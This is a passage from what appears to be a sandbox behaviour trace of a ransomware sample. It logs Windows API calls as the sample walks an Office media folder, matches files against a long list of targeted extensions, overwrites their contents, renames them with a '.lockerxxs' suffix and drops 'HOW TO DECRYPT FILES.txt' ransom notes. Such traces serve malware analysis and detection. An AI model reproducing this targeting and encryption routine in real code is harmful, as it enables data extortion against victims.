files\\microsoft office\\office14\\media\\chimes.wav.lockerxxs")) returned 1 [0066.065] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbd3c00, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffbd3c00, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="CLICK.WAV", cAlternateFileName="")) returned 1 [0066.065] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.065] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CLICK.WAV") returned 1 [0066.065] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CLICK.WAV") returned 1 [0066.065] lstrcmpiA (lpString1="", lpString2="CLICK.WAV") returned -1 [0066.065] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV") returned="CHIMES.WAV" [0066.065] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.065] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.066] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0066.066] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0066.066] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="CLICK.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.ems") returned 0 [0066.066] lstrlenA (lpString="*.ems") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.db") returned 0 [0066.066] lstrlenA (lpString="*.db") returned 4 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.dbf") returned 0 [0066.066] lstrlenA (lpString="*.dbf") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.myox") returned 0 [0066.066] lstrlenA (lpString="*.myox") returned 6 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.myo") returned 0 [0066.066] lstrlenA (lpString="*.myo") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qbw") returned 0 [0066.066] lstrlenA (lpString="*.qbw") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qbb") returned 0 [0066.066] lstrlenA (lpString="*.qbb") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qbm") returned 0 [0066.066] lstrlenA (lpString="*.qbm") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qbo") returned 0 [0066.066] lstrlenA (lpString="*.qbo") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qbx") returned 0 [0066.066] lstrlenA (lpString="*.qbx") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qba") returned 0 [0066.066] lstrlenA (lpString="*.qba") returned 5 [0066.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qby") returned 0 [0066.067] lstrlenA (lpString="*.qby") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qbj") returned 0 [0066.067] lstrlenA (lpString="*.qbj") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.ofx") returned 0 [0066.067] lstrlenA (lpString="*.ofx") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.qif") returned 0 [0066.067] lstrlenA (lpString="*.qif") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mye") returned 0 [0066.067] lstrlenA (lpString="*.mye") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mbox") returned 0 [0066.067] lstrlenA (lpString="*.mbox") returned 6 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.eml") returned 0 [0066.067] lstrlenA (lpString="*.eml") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.pst") returned 0 [0066.067] lstrlenA (lpString="*.pst") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.ost") returned 0 [0066.067] lstrlenA (lpString="*.ost") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.idx") returned 0 [0066.067] lstrlenA (lpString="*.idx") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.dbx") returned 0 [0066.067] lstrlenA (lpString="*.dbx") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.sql") returned 0 [0066.067] lstrlenA (lpString="*.sql") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mdb") returned 0 [0066.067] lstrlenA (lpString="*.mdb") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.fdb") returned 0 [0066.067] lstrlenA (lpString="*.fdb") returned 5 [0066.067] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.wab") returned 0 [0066.068] lstrlenA (lpString="*.wab") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.dat") returned 0 [0066.068] lstrlenA (lpString="*.dat") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.txt") returned 0 [0066.068] lstrlenA (lpString="*.txt") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.jpeg") returned 0 [0066.068] lstrlenA (lpString="*.jpeg") returned 6 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.jpg") returned 0 [0066.068] lstrlenA (lpString="*.jpg") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.png") returned 0 [0066.068] lstrlenA (lpString="*.png") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.php") returned 0 [0066.068] lstrlenA (lpString="*.php") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.cs") returned 0 [0066.068] lstrlenA (lpString="*.cs") returned 4 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.cpp") returned 0 [0066.068] lstrlenA (lpString="*.cpp") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.rar") returned 0 [0066.068] lstrlenA (lpString="*.rar") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.zip") returned 0 [0066.068] lstrlenA (lpString="*.zip") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.html") returned 0 [0066.068] lstrlenA (lpString="*.html") returned 6 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.htm") returned 0 [0066.068] lstrlenA (lpString="*.htm") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.xlsx") returned 0 [0066.068] lstrlenA (lpString="*.xlsx") returned 6 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.xls") returned 0 [0066.068] lstrlenA (lpString="*.xls") returned 5 [0066.068] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mp4") returned 0 [0066.069] lstrlenA (lpString="*.mp4") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.ppt") returned 0 [0066.069] lstrlenA (lpString="*.ppt") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.pptx") returned 0 [0066.069] lstrlenA (lpString="*.pptx") returned 6 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.doc") returned 0 [0066.069] lstrlenA (lpString="*.doc") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.dot") returned 0 [0066.069] lstrlenA (lpString="*.dot") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.docx") returned 0 [0066.069] lstrlenA (lpString="*.docx") returned 6 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.7z") returned 0 [0066.069] lstrlenA (lpString="*.7z") returned 4 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.tar") returned 0 [0066.069] lstrlenA (lpString="*.tar") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.bz2") returned 0 [0066.069] lstrlenA (lpString="*.bz2") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.gz") returned 0 [0066.069] lstrlenA (lpString="*.gz") returned 4 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mkv") returned 0 [0066.069] lstrlenA (lpString="*.mkv") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.eml") returned 0 [0066.069] lstrlenA (lpString="*.eml") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.msg") returned 0 [0066.069] lstrlenA (lpString="*.msg") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.edb") returned 0 [0066.069] lstrlenA (lpString="*.edb") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.accdb") returned 0 [0066.069] lstrlenA (lpString="*.accdb") returned 7 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.odb") returned 0 [0066.069] lstrlenA (lpString="*.odb") returned 5 [0066.069] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.java") returned 0 [0066.070] lstrlenA (lpString="*.java") returned 6 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.asm") returned 0 [0066.070] lstrlenA (lpString="*.asm") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.pfx") returned 0 [0066.070] lstrlenA (lpString="*.pfx") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.pem") returned 0 [0066.070] lstrlenA (lpString="*.pem") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.p12") returned 0 [0066.070] lstrlenA (lpString="*.p12") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.gpg") returned 0 [0066.070] lstrlenA (lpString="*.gpg") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.vsd") returned 0 [0066.070] lstrlenA (lpString="*.vsd") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.odg") returned 0 [0066.070] lstrlenA (lpString="*.odg") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.raw") returned 0 [0066.070] lstrlenA (lpString="*.raw") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.nef") returned 0 [0066.070] lstrlenA (lpString="*.nef") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.svg") returned 0 [0066.070] lstrlenA (lpString="*.svg") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.psd") returned 0 [0066.070] lstrlenA (lpString="*.psd") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.vmx") returned 0 [0066.070] lstrlenA (lpString="*.vmx") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.vmdk") returned 0 [0066.070] lstrlenA (lpString="*.vmdk") returned 6 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.vdi") returned 0 [0066.070] lstrlenA (lpString="*.vdi") returned 5 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.lay6") returned 0 [0066.070] lstrlenA (lpString="*.lay6") returned 6 [0066.070] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mpeg") returned 0 [0066.070] lstrlenA (lpString="*.mpeg") returned 6 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.djvu") returned 0 [0066.071] lstrlenA (lpString="*.djvu") returned 6 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.tiff") returned 0 [0066.071] lstrlenA (lpString="*.tiff") returned 6 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.backup") returned 0 [0066.071] lstrlenA (lpString="*.backup") returned 8 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.pdf") returned 0 [0066.071] lstrlenA (lpString="*.pdf") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.cert") returned 0 [0066.071] lstrlenA (lpString="*.cert") returned 6 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.docm") returned 0 [0066.071] lstrlenA (lpString="*.docm") returned 6 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.xlsm") returned 0 [0066.071] lstrlenA (lpString="*.xlsm") returned 6 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.dwg") returned 0 [0066.071] lstrlenA (lpString="*.dwg") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.nd") returned 0 [0066.071] lstrlenA (lpString="*.nd") returned 4 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.tlg") returned 0 [0066.071] lstrlenA (lpString="*.tlg") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.lgb") returned 0 [0066.071] lstrlenA (lpString="*.lgb") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.mov") returned 0 [0066.071] lstrlenA (lpString="*.mov") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.xdw") returned 0 [0066.071] lstrlenA (lpString="*.xdw") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.ods") returned 0 [0066.071] lstrlenA (lpString="*.ods") returned 5 [0066.071] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", pszSpec="*.wav") returned 1 [0066.071] lstrlenA (lpString="*.wav") returned 5 [0066.071] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" [0066.071] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" [0066.071] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV." [0066.072] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.lockerxxs" [0066.072] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.073] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x268 [0066.073] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xffbd3c00, dwHighDateTime=0x1bfc6e7), lpLastAccessTime=0x407536*(dwLowDateTime=0x51c76e10, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xffbd3c00, dwHighDateTime=0x1bfc6e7)) returned 1 [0066.073] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.073] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x242, lpOverlapped=0x0) returned 1 [0066.074] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV") returned="CLICK.WAV" [0066.074] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.074] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x242, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x242, lpOverlapped=0x0) returned 1 [0066.074] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.074] CloseHandle (hObject=0x8c) returned 1 [0066.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav.lockerxxs")) returned 1 [0066.077] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0cc600, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0cc600, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="COIN.WAV", cAlternateFileName="")) returned 1 [0066.077] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="COIN.WAV") returned 1 [0066.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="COIN.WAV") returned 1 [0066.077] lstrcmpiA (lpString1="", lpString2="COIN.WAV") returned -1 [0066.077] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV") returned="CLICK.WAV" [0066.077] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.077] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.077] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0066.077] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0066.077] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="COIN.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.ems") returned 0 [0066.077] lstrlenA (lpString="*.ems") returned 5 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.db") returned 0 [0066.077] lstrlenA (lpString="*.db") returned 4 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.dbf") returned 0 [0066.077] lstrlenA (lpString="*.dbf") returned 5 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.myox") returned 0 [0066.077] lstrlenA (lpString="*.myox") returned 6 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.myo") returned 0 [0066.077] lstrlenA (lpString="*.myo") returned 5 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qbw") returned 0 [0066.077] lstrlenA (lpString="*.qbw") returned 5 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qbb") returned 0 [0066.077] lstrlenA (lpString="*.qbb") returned 5 [0066.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qbm") returned 0 [0066.078] lstrlenA (lpString="*.qbm") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qbo") returned 0 [0066.078] lstrlenA (lpString="*.qbo") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 